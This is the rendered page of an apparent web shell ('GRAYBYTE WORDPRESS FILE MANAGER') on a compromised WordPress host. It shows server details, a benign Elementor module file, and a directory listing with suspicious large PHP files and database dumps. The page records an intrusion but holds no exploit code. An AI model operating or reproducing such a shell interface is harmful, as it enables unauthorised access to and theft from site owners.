$79 GRAYBYTE WORDPRESS FILE MANAGER $68

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.217.83
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/hpgt.org/.log-unix/wp-includes/themes/extendable/patterns/

HOME
Current File : /home/bravetechrwanda/hpgt.org/.log-unix/wp-includes/themes/extendable/patterns//module.php
<?php
namespace Elementor\Modules\Interactions;

use Elementor\Core\Base\Module as BaseModule;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
use Elementor\Modules\AtomicWidgets\Module as AtomicWidgetsModule;
use Elementor\Plugin;
use Elementor\Utils;


if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Module extends BaseModule {
	const MODULE_NAME = 'e-interactions';
	const EXPERIMENT_NAME = 'e_interactions';

	const HANDLE_MOTION_JS            = 'motion-js';
	const HANDLE_SHARED_UTILS         = 'elementor-interactions-shared-utils';
	const HANDLE_FRONTEND             = 'elementor-interactions';
	const HANDLE_EDITOR               = 'elementor-editor-interactions';
	const JS_CONFIG_OBJECT            = 'ElementorInteractionsConfig';
	const SCRIPT_ID_INTERACTIONS_DATA = 'elementor-interactions-data';

	public function get_name() {
		return self::MODULE_NAME;
	}

	private $preset_animations;

	private $frontend_handler;

	private function get_presets() {
		if ( ! $this->preset_animations ) {
			$this->preset_animations = new Presets();
		}

		return $this->preset_animations;
	}

	private function get_frontend_handler() {
		if ( ! $this->frontend_handler ) {
			$this->frontend_handler = new Interactions_Frontend_Handler( fn () => $this->get_config() );
		}

		return $this->frontend_handler;
	}

	public static function get_experimental_data() {
		return [
			'name' => self::EXPERIMENT_NAME,
			'title' => esc_html__( 'Interactions', 'elementor' ),
			'description' => esc_html__( 'Enable element interactions.', 'elementor' ),
			'hidden' => true,
			'default' => Experiments_Manager::STATE_ACTIVE,
			'release_status' => Experiments_Manager::RELEASE_STATUS_DEV,
		];
	}

	public function is_experiment_active() {
		return Plugin::$instance->experiments->is_feature_active( self::EXPERIMENT_NAME )
			&& Plugin::$instance->experiments->is_feature_active( AtomicWidgetsModule::EXPERIMENT_NAME );
	}

	public function __construct() {
		parent::__construct();

		if ( ! $this->is_experiment_active() ) {
			return;
		}

		add_action( 'elementor/frontend/after_register_scripts', fn () => $this->register_frontend_scripts() );
		add_action( 'elementor/editor/before_enqueue_scripts', fn () => $this->enqueue_editor_scripts() );
		add_action( 'elementor/preview/enqueue_scripts', fn () => $this->enqueue_preview_scripts() );
		add_action( 'elementor/editor/after_enqueue_scripts', fn () => $this->enqueue_editor_scripts() );

		// Collect interactions from documents before they render (header, footer, post content)
		add_filter( 'elementor/frontend/builder_content_data', [ $this->get_frontend_handler(), 'collect_document_interactions' ], 10, 2 );

		// Output centralized interaction data in footer
		add_action( 'wp_footer', [ $this->get_frontend_handler(), 'print_interactions_data' ], 1 );

		add_filter( 'elementor/document/save/data',
			/**
			 * @throws \Exception
			 */
			function( $data, $document ) {
				$validation = new Validation();
				$document_after_sanitization = $validation->sanitize( $data );
				$validation->validate();

				return $document_after_sanitization;
			},
		10, 2 );

		add_filter( 'elementor/document/save/data', function( $data, $document ) {
			return ( new Parser( $document->get_main_id() ) )->assign_interaction_ids( $data );
		}, 11, 2 );
	}

	public function get_config() {
		return [
			'constants' => $this->get_presets()->defaults(),
			'breakpoints' => $this->get_active_breakpoints(),
		];
	}

	private function get_active_breakpoints() {
		$breakpoints_config = Plugin::$instance->breakpoints->get_breakpoints_config();
		$active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints();

		$breakpoints = [];

		foreach ( array_keys( $active_breakpoints ) as $breakpoint_label ) {
			$breakpoints[ $breakpoint_label ] = $breakpoints_config[ $breakpoint_label ];
		}

		return $breakpoints;
	}

	private function register_frontend_scripts() {
		$suffix = ( Utils::is_script_debug() || Utils::is_elementor_tests() ) ? '' : '.min';

		wp_register_script(
			self::HANDLE_MOTION_JS,
			ELEMENTOR_ASSETS_URL . 'lib/motion/motion' . $suffix . '.js',
			[],
			'11.13.5',
			true
		);

		wp_register_script(
			self::HANDLE_SHARED_UTILS,
			$this->get_js_assets_url( 'interactions-shared-utils' ),
			[ self::HANDLE_MOTION_JS ],
			'1.0.0',
			true
		);

		wp_register_script(
			self::HANDLE_FRONTEND,
			$this->get_js_assets_url( 'interactions' ),
			[ self::HANDLE_MOTION_JS, self::HANDLE_SHARED_UTILS ],
			'1.0.0',
			true
		);

		wp_register_script(
			self::HANDLE_EDITOR,
			$this->get_js_assets_url( 'editor-interactions' ),
			[ self::HANDLE_MOTION_JS, self::HANDLE_SHARED_UTILS ],
			'1.0.0',
			true
		);
	}

	public function enqueue_editor_scripts() {
		wp_add_inline_script(
			'elementor-common',
			'window.' . self::JS_CONFIG_OBJECT . ' = ' . wp_json_encode( $this->get_config() ) . ';',
			'before'
		);
	}

	public function enqueue_preview_scripts() {
		wp_enqueue_script( self::HANDLE_SHARED_UTILS );
		// Ensure motion-js and editor-interactions handler are available in preview iframe
		wp_enqueue_script( self::HANDLE_MOTION_JS );
		wp_enqueue_script( self::HANDLE_EDITOR );

		wp_localize_script(
			self::HANDLE_EDITOR,
			self::JS_CONFIG_OBJECT,
			$this->get_config()
		);
	}
}

Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
15 May 2026 7.30 AM
bravetechrwanda / bravetechrwanda
0755
admin-20260510122316.php
117.099 KB
28 Apr 2026 9.17 AM
bravetechrwanda / bravetechrwanda
0644
admin.php
117.099 KB
28 Apr 2026 9.17 AM
bravetechrwanda / bravetechrwanda
0644
api.php
0.788 KB
3 Feb 2025 4.10 PM
bravetechrwanda / bravetechrwanda
0644
archive.php
3.65 KB
15 Jun 2010 2.06 AM
bravetechrwanda / bravetechrwanda
0644
error_log
8.409 KB
14 May 2026 10.40 PM
bravetechrwanda / bravetechrwanda
0644
error_log-20260508111518.
1.404 KB
8 May 2026 9.34 AM
bravetechrwanda / bravetechrwanda
0644
footer-call-to-action-dark.php
5.609 KB
24 May 2025 1.12 AM
bravetechrwanda / bravetechrwanda
0644
footer-call-to-action.php
5.529 KB
24 May 2025 1.12 AM
bravetechrwanda / bravetechrwanda
0644
footer-default-20260509132959.php
1.756 KB
15 Apr 2025 2.44 AM
bravetechrwanda / bravetechrwanda
0644
footer-default.php
1.756 KB
15 Apr 2025 2.44 AM
bravetechrwanda / bravetechrwanda
0644
footer-logo-desc-two-nav.php
2.129 KB
24 May 2025 1.12 AM
bravetechrwanda / bravetechrwanda
0644
footer-logo-nav.php
1.412 KB
24 May 2025 1.12 AM
bravetechrwanda / bravetechrwanda
0644
footer-offset-heading-buttons-dark.php
2.962 KB
15 Apr 2025 2.44 AM
bravetechrwanda / bravetechrwanda
0644
footer-offset-heading-buttons-primary.php
2.818 KB
15 Apr 2025 2.44 AM
bravetechrwanda / bravetechrwanda
0644
footer-offset-heading-buttons.php
2.816 KB
15 Apr 2025 2.44 AM
bravetechrwanda / bravetechrwanda
0644
functions.php
12.457 KB
25 Feb 2026 6.35 AM
bravetechrwanda / bravetechrwanda
0644
general-cta-20260509224914.php
1.752 KB
24 May 2025 1.12 AM
bravetechrwanda / bravetechrwanda
0644
general-cta.php
1.752 KB
24 May 2025 1.12 AM
bravetechrwanda / bravetechrwanda
0644
header-default-20260510111905.php
1.237 KB
14 Apr 2023 1.04 AM
bravetechrwanda / bravetechrwanda
0644
header-default-20260516082708.php
1.237 KB
14 Apr 2023 1.04 AM
bravetechrwanda / bravetechrwanda
0644
header-default.php
1.237 KB
14 Apr 2023 1.04 AM
bravetechrwanda / bravetechrwanda
0644
header-title-nav-button.php
1.666 KB
28 Nov 2023 4.39 PM
bravetechrwanda / bravetechrwanda
0644
header-title-social-nav.php
2.219 KB
15 Apr 2025 2.44 AM
bravetechrwanda / bravetechrwanda
0644
hidden-404-20260509132817.php
0.912 KB
28 Nov 2023 4.39 PM
bravetechrwanda / bravetechrwanda
0644
hidden-404.php
0.912 KB
28 Nov 2023 4.39 PM
bravetechrwanda / bravetechrwanda
0644
hidden-no-products.php
0.359 KB
22 Aug 2024 10.04 PM
bravetechrwanda / bravetechrwanda
0644
hidden-no-results.php
0.274 KB
28 Nov 2023 4.39 PM
bravetechrwanda / bravetechrwanda
0644
hidden-order-confirmation-20260509083544.php
3.714 KB
25 Feb 2026 6.35 AM
bravetechrwanda / bravetechrwanda
0644
hidden-order-confirmation.php
3.714 KB
25 Feb 2026 6.35 AM
bravetechrwanda / bravetechrwanda
0644
hidden-search.php
0.311 KB
22 Aug 2024 10.04 PM
bravetechrwanda / bravetechrwanda
0644
hidden-shop-product.php
2.621 KB
25 Feb 2026 6.35 AM
bravetechrwanda / bravetechrwanda
0644
hidden-woo-related-products.php
1.635 KB
25 Feb 2026 6.35 AM
bravetechrwanda / bravetechrwanda
0644
links.php
0.27 KB
15 Jun 2010 2.06 AM
bravetechrwanda / bravetechrwanda
0644
module.php
5.2 KB
30 Mar 2026 1.49 PM
bravetechrwanda / bravetechrwanda
0644
mysql-data-20260508195910.sql
1.89 MB
24 Apr 2026 1.15 PM
bravetechrwanda / bravetechrwanda
0644
mysql-data.sql
1.89 MB
24 Apr 2026 1.15 PM
bravetechrwanda / bravetechrwanda
0644
page.php
0.771 KB
15 Jun 2010 2.06 AM
bravetechrwanda / bravetechrwanda
0644
plugin.php
16.49 KB
3 Mar 2026 7.49 PM
bravetechrwanda / bravetechrwanda
0644
posts-1-col-20260515043912.php
2.456 KB
25 Feb 2026 6.35 AM
bravetechrwanda / bravetechrwanda
0644
posts-1-col.php
2.456 KB
25 Feb 2026 6.35 AM
bravetechrwanda / bravetechrwanda
0644
profile.php
186.484 KB
27 Apr 2026 2.41 PM
bravetechrwanda / bravetechrwanda
0644
scanned.txt
0 KB
12 May 2026 4.23 AM
bravetechrwanda / bravetechrwanda
0644
theme-20260510175734.json
28.482 KB
4 Feb 2026 3.31 AM
bravetechrwanda / bravetechrwanda
0644
theme.json
28.482 KB
4 Feb 2026 3.31 AM
bravetechrwanda / bravetechrwanda
0644
utils.php
24.355 KB
30 Mar 2026 1.49 PM
bravetechrwanda / bravetechrwanda
0644
wp-sec.txt
0 KB
12 May 2026 4.23 AM
bravetechrwanda / bravetechrwanda
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF